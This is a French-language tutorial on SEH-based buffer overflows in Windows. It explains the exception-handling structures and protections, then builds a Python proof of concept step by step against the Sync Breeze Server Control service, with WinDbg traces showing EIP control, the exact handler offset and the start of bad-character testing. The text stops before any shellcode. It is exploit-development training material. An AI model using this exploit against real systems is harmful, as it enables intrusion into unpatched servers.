Skip to content

SEH Overflow

Les dépassements de tampon basés sur SEH exploitent le mécanisme Structured Exception Handling mis en oeuvre dans les systèmes Windows.

Théorie

Les exceptions

Une exception est un comportement inattendu qui arrive durant l'exécution normale d'un programme.

Il existe 2 types d'exception :

  • Matériel : Les exceptions matérielles sont initiées par le CPU
    • e.g. : Le CPU essaye de faire référence à une adresse mémoire invalide
  • Logiciel : Les exceptions logicielles sont initiées par les applications
    • e.g. : Un développeur veut lever une exception dans le code pour signaler qu'une fonction ne s'est pas exécutée correctement via un bloc try {} except {}

La plupart des langages implémentent des fonctionnalités de try et catch bien que les mots clés puissent varier.

À la suite de la compilation, try {} except {} va utiliser le mécanisme Structure Exception Handling (SEH) implémenté par Windows pour gérer les événements inattendus.

Le mécanisme SEH

Le mécanisme SEH donne la possibilité aux développeurs de prendre action quand un événement inattendu se réalise durant le flot d'exécution d'un thread.

Quand un thread est en défaut le système d'exploitation appelle un ensemble de fonctions prédéfinies nommées exception handlers.

Ces fonctions vont fournir des données et tenter de corriger l'exception. Les exception handlers sont créées durant la compilation.

À chaque fois qu'un bloc try est rencontré durant l'exécution d'une fonction dans un thread, un pointeur vers le handler correspondant est stocké sur la pile dans la structure _EXCEPTION_REGISTRATION_RECORD.

Comme il peut y avoir plusieurs blocs try exécutés dans une fonction ces structures sont liées par une liste chainée.

Quand une exception est levée, le système d'exploitation inspecte la structure Thread Environmental Block (TEB) du thread impliqué et retrouve le pointeur (ExceptionList) vers la liste chainée _EXCEPTION_REGISTRATION_RECORD via le registre FS du CPU.

Après avoir retrouvé le ExceptionList l'OS va appeler chaque exception handler jusqu'à ce qu'une d'entre elles puisse gérer l'événement.

Si aucune des fonctions définies par l'utilisateur ne peut gérer l'exception, le système d'exploitation va appeler le default exception handler qui est le dernier noeud de la liste chainée.

Structures

Thread Environmental Block

Structure TEB :

0:010> dt nt!_TEB
ntdll!_TEB
   +0x000 NtTib            : _NT_TIB
   +0x01c EnvironmentPointer : Ptr32 Void
   +0x020 ClientId         : _CLIENT_ID
   +0x028 ActiveRpcHandle  : Ptr32 Void
   +0x02c ThreadLocalStoragePointer : Ptr32 Void
   +0x030 ProcessEnvironmentBlock : Ptr32 _PEB
   +0x034 LastErrorValue   : Uint4B
   +0x038 CountOfOwnedCriticalSections : Uint4B
   +0x03c CsrClientThread  : Ptr32 Void
   +0x040 Win32ThreadInfo  : Ptr32 Void

On voit que le premier élément de la structure TEB est lui-même une structure de type _NT_TIB.

_NT_TIB

Structure _NT_TIB :

0:010> dt _NT_TIB
ntdll!_NT_TIB
   +0x000 ExceptionList    : Ptr32 _EXCEPTION_REGISTRATION_RECORD
   +0x004 StackBase        : Ptr32 Void
   +0x008 StackLimit       : Ptr32 Void
   +0x00c SubSystemTib     : Ptr32 Void
   +0x010 FiberData        : Ptr32 Void
   +0x010 Version          : Uint4B
   +0x014 ArbitraryUserPointer : Ptr32 Void
   +0x018 Self             : Ptr32 _NT_TIB

Le premier élément de la structure nommé ExceptionList est un pointeur sur la structure _EXCEPTION_REGISTRATION_RECORD :

_EXCEPTION_REGISTRATION_RECORD
0:010> dt _EXCEPTION_REGISTRATION_RECORD
ntdll!_EXCEPTION_REGISTRATION_RECORD
   +0x000 Next             : Ptr32 _EXCEPTION_REGISTRATION_RECORD
   +0x004 Handler          : Ptr32     _EXCEPTION_DISPOSITION
  • Next fais le lien pour la liste chainée et est un pointeur sur la structure _EXCEPTION_REGISTRATION_RECORD
  • Handler est un pointeur vers la fonction exception callback nommé _except_hamdler qui renvoie une structure _EXCEPTION_DISPOSITION
_EXCEPTION_DISPOSITION

Structure _EXCEPTION_DISPOSITION :

typedef EXCEPTION_DISPOSITION _except_handler (*PEXCEPTION_ROUTINE) (  
    IN PEXCEPTION_RECORD ExceptionRecord,  
    // pointe sur la structure _EXCEPTION_REGISTRATION_RECORD
    IN VOID EstablisherFrame,  
    // pointe sur la structure `CONTEXT`
    IN OUT PCONTEXT ContextRecord,  
    IN OUT PDISPATCHER_CONTEXT DispatcherContext  
);

La structure CONTEXT contiens les données de certains registres du CPU lorsque l'exception est levée, dont le pointeur EIP.

Les informations de cette structure vont être utilisées pour restaurer le flot d'exécution après la gestion de l'exception.

  • Si le exception handler invoqué par l'OS n'est pas valide pour gérer l'exception il va renvoyer ExceptionContinueSearch
    • Indique à l'OS de se déplacer à l'élément suivant de la liste chainée _EXCEPTION_REGISTRATION_RECORD
  • Si le exception handler est à même de handle l'exception il va renvoyer ExceptionContinueExecution
    • Indique à l'OS de relancer l'exécution

Étapes du SEH

Quand une exception est levée, le système d'exploitation appelle un groupe de fonction définie dans le cadre du mécanisme SEH.

Au sein de ces appels, la liste chainée ExceptionList est récupérée du TEB. Le système d'exploitation parse la liste chainée de structures _EXCEPTION_REGISTRATION_RECORD. Le système d'exploitation réalise plusieurs contrôles avant d'appeler la fonction exception_handler pointée par le membre Handler de la structure.

L'itération de la liste chainée continue jusqu'à ce qu'un handler capable de gérer l'exception soit trouvé permettant à l'exécution de continuer. Si aucun handler capable n'est trouvé, l'application crash.

Protections de SEH

  • SafeSEH : Mitigation introduite par Microsoft pour empêcher un attaquant de gagner le contrôle du flot d'exécution après avoir réécrit un exception handler sur la pile
  • SEHOP : Vérifie que la chaine de structure _EXCEPTION_REGISTRATION_RECORD est valide avant de l'invoquer. Si le paramètre Next est réécrit, la structure n'est plus intact. Cette mitigation empêchera le _except_handler d'être exécuté.

Pratique

Une structure exception overflow est un type de stack overflow qui est assez large ou bien positionné de façon à réécrire des valid registered exception handler sur la pile. En réécrivant un ou plusieurs de ces handlers l'attaquant peut prendre le contrôle du pointeur d'instruction après avoir trigger une exception.

Dans la plupart des cas, l'objectif d'un overflow est de réécrire des pointeurs valides / structures sur la pile.

Pousser l'application à crash déclenche dans tous les cas le mécanisme SEH et entraine une redirection du pointeur d'instruction vers l'adresse du exception_handler avant d'atteindre la fin de la fonction.

L'exemple utilisé sera l'exploit portant sur l'application Sync Breeze Server Control.

Valider l'exploit

La première étape est d'identifier la présence du dépassement de tampon.

Dans ce cas, c'est l'entête de la requête qui est vulnérable.

Début de la preuve de concept en Python :

#!/usr/bin/python
import socket
import sys
from struct import pack

try:
  server = sys.argv[1]
  port = 9121
  size = 1000

  inputBuffer = b"\x41" * size

  header =  b"\x75\x19\xba\xab"
  header += b"\x03\x00\x00\x00"
  header += b"\x00\x40\x00\x00"
  header += pack('<I', len(inputBuffer))
  header += pack('<I', len(inputBuffer))
  header += pack('<I', inputBuffer[-1])

  buf = header + inputBuffer 
[...]

Si on s'attache au service avec WinDbg et qu'on exécute cette preuve de concept, on obtient le résultat suivant :

(144.6dc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Program Files\Sync Breeze Enterprise\bin\libpal.dll
eax=41414141 ebx=01c6fa1c ecx=01c6ff18 edx=01c6f9d4 esi=01c6ff18 edi=01c6fb20
eip=00902a9d esp=01c6f9a8 ebp=01c6fec8 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
libpal!SCA_ConfigObj::Deserialize+0x1d:
00902a9d ff5024          call    dword ptr [eax+24h]  ds:0023:41414165=????????

On affiche la structure du TEB pour récupérer l'adresse de ExceptionList :

0:011> !teb
TEB at 00209000
    ExceptionList:        01c6fe1c
    StackBase:            01c70000
    StackLimit:           01c6f000
[...]

On affiche l'élément ExceptionList de type _EXCEPTION_REGISTRATION_RECORD qui est donc le premier élément de la liste chainée :

0:011> dt _EXCEPTION_REGISTRATION_RECORD 01c6fe1c
ntdll!_EXCEPTION_REGISTRATION_RECORD
   +0x000 Next             : 0x01c6ff54 _EXCEPTION_REGISTRATION_RECORD
   +0x004 Handler          : 0x0097df5b     _EXCEPTION_DISPOSITION  libpal!md5_starts+0

On utilise l'élément Next de la structure, élément qui pointe vers une autre structure de type _EXCEPTION_REGISTRATION_RECORD :

0:011> dt _EXCEPTION_REGISTRATION_RECORD 0x01c6ff54
ntdll!_EXCEPTION_REGISTRATION_RECORD
   +0x000 Next             : 0x41414141 _EXCEPTION_REGISTRATION_RECORD
   +0x004 Handler          : 0x41414141     _EXCEPTION_DISPOSITION  +41414141

C'est donc le deuxième élément de la liste chainée qui est concernée par le dépassement de tampon.

Ce processus peut-être automatisé par la commande exchain de WinDBG :

0:011> !exchain
01c6fe1c: libpal!md5_starts+149fb (0097df5b)
01c6ff54: 41414141
Invalid exception stack at 41414141

On note que l'adresse 01c6ff54 qui contient 41414141 est bien la même que celle du deuxième élément de la liste chainée.

Le _except_handler du deuxième élément de la liste chainée a donc été réécrit par le dépassement. Ainsi dès lors que la structure _EXCEPTION_REGISTRATION_RECORD sera utilisée pour prendre en charge l'exception le CPU va finir par appeler 0x41414141 ce qui va nous donner le contrôle du registre EIP.

Si on affiche les registres, on voit que EIP n'est pas encore sous notre contrôle :

0:011> r
eax=41414141 ebx=01c6fa1c ecx=01c6ff18 edx=01c6f9d4 esi=01c6ff18 edi=01c6fb20
eip=00902a9d esp=01c6f9a8 ebp=01c6fec8 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
libpal!SCA_ConfigObj::Deserialize+0x1d:
00902a9d ff5024          call    dword ptr [eax+24h]  ds:0023:41414165=????????

On relance donc l'exécution et on voit que EIP est maintenant initialisé à 41414141 indiquant qu'il est sous notre contrôle :

0:011> g
(144.6dc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=41414141 edx=77853b20 esi=00000000 edi=00000000
eip=41414141 esp=01c6f438 ebp=01c6f458 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
41414141 ??              ???

Details

Si on affiche la callstack avec la commande k on voit que la dernière fonction appelée est ntdll!ExecuteHandler2 qui est la fonction responsable de l'appel des _except_handler. :

0:011> k
 # ChildEBP RetAddr  
WARNING: Frame IP not in any known module. Following frames may be wrong.
00 01c6f434 77853b02 0x41414141
01 01c6f458 77853ad4 ntdll!ExecuteHandler2+0x26
02 01c6f528 77841586 ntdll!ExecuteHandler+0x24
03 01c6f528 00902a9d ntdll!KiUserExceptionDispatcher+0x26
04 01c6fec8 00000000 libpal!SCA_ConfigObj::Deserialize+0x1d

On relance le service et WinDbg pour venir positionner un point d'arrêt sur la fonction ntdll!ExecuteHandler2 :

0:009> bp ntdll!ExecuteHandler2

On relance ensuite l'exécution du service et on exécute l'exploit python qui entraine un premier Access violation :

0:009> g
(1f68.3c8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Program Files\Sync Breeze Enterprise\bin\libpal.dll
eax=41414141 ebx=01c1fa1c ecx=01c1ff18 edx=01c1f9d4 esi=01c1ff18 edi=01c1fb20
eip=00872a9d esp=01c1f9a8 ebp=01c1fec8 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
libpal!SCA_ConfigObj::Deserialize+0x1d:
00872a9d ff5024          call    dword ptr [eax+24h]  ds:0023:41414165=????????

On relance de nouveau l'exécution pour avoir la chance d'atteindre le point d'arrêt qui est atteint une première fois au sein du premier élément de la liste chainée :

0:011> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=01c1f4cc edx=77853b20 esi=00000000 edi=00000000
eip=77853adc esp=01c1f45c ebp=01c1f528 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!ExecuteHandler2:
77853adc 55              push    ebp

On relance une dernière fois pour atteindre de nouveau le point d'arrêt, mais cette fois au sein du deuxième élément de la liste chainée :

0:011> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=01c1f4cc edx=77853b20 esi=00000000 edi=00000000
eip=77853adc esp=01c1f45c ebp=01c1f528 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!ExecuteHandler2:
77853adc 55              push    ebp

On affiche le code assembleur sur le point d'être exécuté. Ce code se découpe en plusieurs sous-parties à analyser :

1 PUSH et 1 MOV

Sauvegarde de EBP et copie ESP dans EBP pour accéder facilement aux arguments de la fonction ntdll!ExecuteHandler2 :

0:011> u @eip L11
ntdll!ExecuteHandler2:
77853adc 55              push    ebp
77853add 8bec            mov     ebp,esp
3 PUSH et 1 MOV

Suite du code :

77853adf ff750c          push    dword ptr [ebp+0Ch]
77853ae2 52              push    edx
77853ae3 64ff3500000000  push    dword ptr fs:[0]
77853aea 64892500000000  mov     dword ptr fs:[0],esp
  • Le premier push viens positionner le membre Next de la structure _EXCEPTION_REGISTRATION_RECORD sur la stack

On voit que l'adresse 01c1ff54 du membre Next est bien la même que celle stockée dans la pile via le push :

0:011> t
eax=00000000 ebx=00000000 ecx=01c1f4cc edx=77853b20 esi=00000000 edi=00000000
eip=77853adf esp=01c1f458 ebp=01c1f458 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!ExecuteHandler2+0x3:
77853adf ff750c          push    dword ptr [ebp+0Ch]  ss:0023:01c1f464=01c1ff54
0:011> !teb
TEB at 002b7000
    ExceptionList:        01c1fe1c
    StackBase:            01c20000
    StackLimit:           01c1e000
[...]
0:011> dt _EXCEPTION_REGISTRATION_RECORD 01c1fe1c
ntdll!_EXCEPTION_REGISTRATION_RECORD
   +0x000 Next             : 0x01c1ff54 _EXCEPTION_REGISTRATION_RECORD
   +0x004 Handler          : 0x008edf5b     _EXCEPTION_DISPOSITION  libpal!md5_starts+0
  • Le deuxième push viens placer l'adresse de ntdll!ExecuteHandler2+ sur la pile

Stockage de edx sur la pile :

0:011> t
eax=00000000 ebx=00000000 ecx=01c1f4cc edx=77853b20 esi=00000000 edi=00000000
eip=77853ae2 esp=01c1f454 ebp=01c1f458 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!ExecuteHandler2+0x6:
77853ae2 52              push    edx
0:011> u @edx
ntdll!ExecuteHandler2+0x44:
[...]
  • Le troisieme push viens placer ExceptionList sur la pile

On voit que l'adresse 01c1fe1c du membre ExceptionList du TEB est la même que celle stockée dans la pile via le push :

0:011> t
eax=00000000 ebx=00000000 ecx=01c1f4cc edx=77853b20 esi=00000000 edi=00000000
eip=77853ae3 esp=01c1f450 ebp=01c1f458 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!ExecuteHandler2+0x7:
77853ae3 64ff3500000000  push    dword ptr fs:[0]     fs:003b:00000000=01c1fe1c
0:011> !teb
TEB at 002b7000
    ExceptionList:        01c1fe1c
    StackBase:            01c20000
    StackLimit:           01c1e000
[...]
  • Le mov réécrit ExceptionList du thread courrant par la valeur du registre ESP

Réécriture de ExceptionList avec la valeur de ESP :

0:011> t
eax=00000000 ebx=00000000 ecx=01c1f4cc edx=77853b20 esi=00000000 edi=00000000
eip=77853aea esp=01c1f44c ebp=01c1f458 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!ExecuteHandler2+0xe:
77853aea 64892500000000  mov     dword ptr fs:[0],esp fs:003b:00000000=01c1fe1c
0:011> !teb
TEB at 002b7000
    ExceptionList:        01c1fe1c
    StackBase:            01c20000
    StackLimit:           01c1e000
[...]

Cette étape permet d'anticiper les exceptions qui pourraient arriver durant l'appel du _except_handler.

4 PUSH

Enfin, quatre push correspondant aux quatre paramètres de la fonction _except_handler qui va être appelée par le call :

typedef EXCEPTION_DISPOSITION _except_handler (*PEXCEPTION_ROUTINE) (  
    IN PEXCEPTION_RECORD ExceptionRecord,  
    IN VOID EstablisherFrame,
    IN OUT PCONTEXT ContextRecord, 
    IN OUT PDISPATCHER_CONTEXT DispatcherContext  
);
  • Les quatre push en assembleur :
77853af1 ff7514          push    dword ptr [ebp+14h]
77853af4 ff7510          push    dword ptr [ebp+10h]
77853af7 ff750c          push    dword ptr [ebp+0Ch]
77853afa ff7508          push    dword ptr [ebp+8]
77853afd 8b4d18          mov     ecx,dword ptr [ebp+18h]
77853b00 ffd1            call    ecx

On voit que ExceptionList est bien initialisée avec la même valeur que ESP suite au mov précédent :

0:011> t
eax=00000000 ebx=00000000 ecx=01c1f4cc edx=77853b20 esi=00000000 edi=00000000
eip=77853af1 esp=01c1f44c ebp=01c1f458 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!ExecuteHandler2+0x15:
77853af1 ff7514          push    dword ptr [ebp+14h]  ss:0023:01c1f46c=01c1f4cc
0:011> !teb
TEB at 002b7000
    ExceptionList:        01c1f44c
    StackBase:            01c20000
    StackLimit:           01c1e000

Les quatre (4) push utilisés ici pour initialiser les paramètres de la fonction

0:011> t
eax=00000000 ebx=00000000 ecx=01c1f4cc edx=77853b20 esi=00000000 edi=00000000
eip=77853af4 esp=01c1f448 ebp=01c1f458 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!ExecuteHandler2+0x18:
77853af4 ff7510          push    dword ptr [ebp+10h]  ss:0023:01c1f468=01c1f55c
0:011> t
eax=00000000 ebx=00000000 ecx=01c1f4cc edx=77853b20 esi=00000000 edi=00000000
eip=77853af7 esp=01c1f444 ebp=01c1f458 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!ExecuteHandler2+0x1b:
77853af7 ff750c          push    dword ptr [ebp+0Ch]  ss:0023:01c1f464=01c1ff54
0:011> t
eax=00000000 ebx=00000000 ecx=01c1f4cc edx=77853b20 esi=00000000 edi=00000000
eip=77853afa esp=01c1f440 ebp=01c1f458 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!ExecuteHandler2+0x1e:
77853afa ff7508          push    dword ptr [ebp+8]    ss:0023:01c1f460=01c1f540
0:011> t
eax=00000000 ebx=00000000 ecx=01c1f4cc edx=77853b20 esi=00000000 edi=00000000
eip=77853afd esp=01c1f43c ebp=01c1f458 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!ExecuteHandler2+0x21:
77853afd 8b4d18          mov     ecx,dword ptr [ebp+18h] ss:0023:01c1f470=41414141
0:011> t
eax=00000000 ebx=00000000 ecx=41414141 edx=77853b20 esi=00000000 edi=00000000
eip=77853b00 esp=01c1f43c ebp=01c1f458 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!ExecuteHandler2+0x24:
77853b00 ffd1            call    ecx {41414141}

Ce code ASM est donc bien le code qui finis par appeler la fonction _except_handler et nous donne le contrôle de EIP.

Exécution de code à distance

Contrairement aux dépassements de tampon basés sur la pile, on ne contrôle pas la pile. Malgré notre contrôle de EIP on ne peut pas le faire pointer vers une adresse contenant une instruction du type JMP ESP pour rediriger le flot d'exécution vers notre payload.

Au moment où notre fonction handler va être appelée, la pile va contenir

  • L'adresse de retour
  • Les quatre (4) arguments de la fonction _except_handler

Rappel de la déclaration de la fonction :

typedef EXCEPTION_DISPOSITION _except_handler (*PEXCEPTION_ROUTINE) (  
    IN PEXCEPTION_RECORD ExceptionRecord,  
    // pointe sur la structure _EXCEPTION_REGISTRATION_RECORD
    IN VOID EstablisherFrame,
    IN OUT PCONTEXT ContextRecord, 
    IN OUT PDISPATCHER_CONTEXT DispatcherContext  
); 

C'est le deuxième argument, EstablisherFrame, qui est passé à la fonction handler qui pointe sur notre payload :

#
0:011> dds esp L5
01bcf438  01bcfb02 ntdll!ExecuteHandler2+0x26   # Adresse de retour
01bcf43c  01bcf540                              # Paramètre ExceptionRecord
01bcf440  01bcff54                              # Paramètre EstablisherFrame
01bcf444  01bcf55c
01bcf448  01bcf4cc
#
0:009> dt _EXCEPTION_REGISTRATION_RECORD 01bcff54
ntdll!_EXCEPTION_REGISTRATION_RECORD
   +0x000 Next             : 0x41414141 _EXCEPTION_REGISTRATION_RECORD
   +0x004 Handler          : 0x41414141     _EXCEPTION_DISPOSITION  +41414141
#
0:009> dd 01bcff54
01bcff54  41414141 41414141 41414141 41414141
[...]

Pour rediriger le flot d'exécution vers notre payload on pourrait réécrire l'exception handler avec l'adresse d'une instruction qui renvoie l'adresse de EstablisherFrame sur la pile.

La séquence d'instruction la plus commune utilisée dans les SEH overflow est :

  • POP R32 : Retrouve la dernière valeur déposée dans la pile et la stock dans le registre en paramètre
    • Ici l'adresse de retour de ExecuteHandler2
  • POP R32 : Retrouve la dernière valeur déposée dans la pile et la stock dans le registre en paramètre
    • Ici le paramètre ExceptionRecord
  • RET : Transfert le contrôle à l'adresse stockée sur la pile

Cependant, avant de chercher pour la séquence d'instruction POP, POP, RET (P/P/R) on doit déterminer l'offset exact pour réécrire l'exception handler sur la pile.

Déterminer l'offset exact

On doit déterminer la taille exact nécessaire pour écraser précisément le gestionnaire d'exception. Pour cela on va envoyer une chaine de caractère non répétitive qui permet d'identifier instantanément la position des 4 bytes. On utilise l'outil msf-pattern_create :

$ msf-pattern_create -l 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B

On modifie la preuve de concept en remplaçant les A par la chaine générée :

#!/usr/bin/python
import socket
import sys
from struct import pack

try:
  server = sys.argv[1]
  port = 9121
  size = 1000

  inputBuffer = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"

  header =  b"\x75\x19\xba\xab"
  header += b"\x03\x00\x00\x00"
  header += b"\x00\x40\x00\x00"
  header += pack('<I', len(inputBuffer))
  header += pack('<I', len(inputBuffer))
  header += pack('<I', inputBuffer[-1])

  buf = header + inputBuffer
  [...]

WinDbg suite à l'exécution de l'exploit :

(910.18c8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=33654132 edx=77853b20 esi=00000000 edi=00000000
eip=33654132 esp=01dff438 ebp=01dff458 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
33654132 ??              ???
#
0:011> !exchain
01dff44c: ntdll!ExecuteHandler2+44 (77853b20)
01dffe1c: libpal!md5_starts+149fb (0090df5b)
01dfff54: 33654132
Invalid exception stack at 65413165

L'exception handler a été correctement réécrit par notre motif unique.

Pour identifier l'offset exacte, on peut réutiliser le même outil :

$ msf-pattern_offset -l 1000 -q 33654132
[*] Exact match at offset 128

On modifie la preuve de concept en adaptant le nombre de A et en réécrivant EIP spécifiquement avec des B :

#!/usr/bin/python
import socket
import sys
from struct import pack

try:
  server = sys.argv[1]
  port = 9121
  size = 1000

  inputBuffer = b"\x41" * 128
  inputBuffer += b"\x42\x42\x42\x42"
  inputBuffer += b"\x43" * (size - len(inputBuffer))

  header =  b"\x75\x19\xba\xab"
  header += b"\x03\x00\x00\x00"
  header += b"\x00\x40\x00\x00"
  header += pack('<I', len(inputBuffer))
  header += pack('<I', len(inputBuffer))
  header += pack('<I', inputBuffer[-1])

  buf = header + inputBuffer
  [...]

WinDbg suite à l'exécution de l'exploit :

(1810.34c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=42424242 edx=77853b20 esi=00000000 edi=00000000
eip=42424242 esp=01a0f438 ebp=01a0f458 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
42424242 ??              ???
#
0:009> !exchain
01a0f44c: ntdll!ExecuteHandler2+44 (77853b20)
01a0fe1c: libpal!md5_starts+149fb (008ddf5b)
01a0ff54: 42424242
Invalid exception stack at 41414141

L'exception handler a été correctement réécrit par les B.

Identifier les mauvais caractères

En fonction de l'application, du type de vulnérabilité ou du protocole utilise certains caractères sont considéré comme bad. Les bad char ne doivent pas être utilisés dans le buffer, l'adresse de retour ou le shellcode.

Un caractère est considéré comme bad s'il entraine un changement dans la nature du crash ou une déformation en mémoire tel que 0x00 qui est le null byte.

Le caractère 0x00 doit être systématiquement évité.

Il faut tester et identifier l'ensemble des bad caractères a chaque développement d'exploit en envoyant l'ensemble des caractères possible entre 0x00 et 0xFF au sein du buffer pour observer la réaction de l'application.

On modifie la preuve de concept afin d'inclure l'ensemble des caractères possible sauf 0x00 :

#!/usr/bin/python                                                                                                           
import socket
import sys
from struct import pack

try:
  server = sys.argv[1]
  port = 9121
  size = 1000

  badchars = (
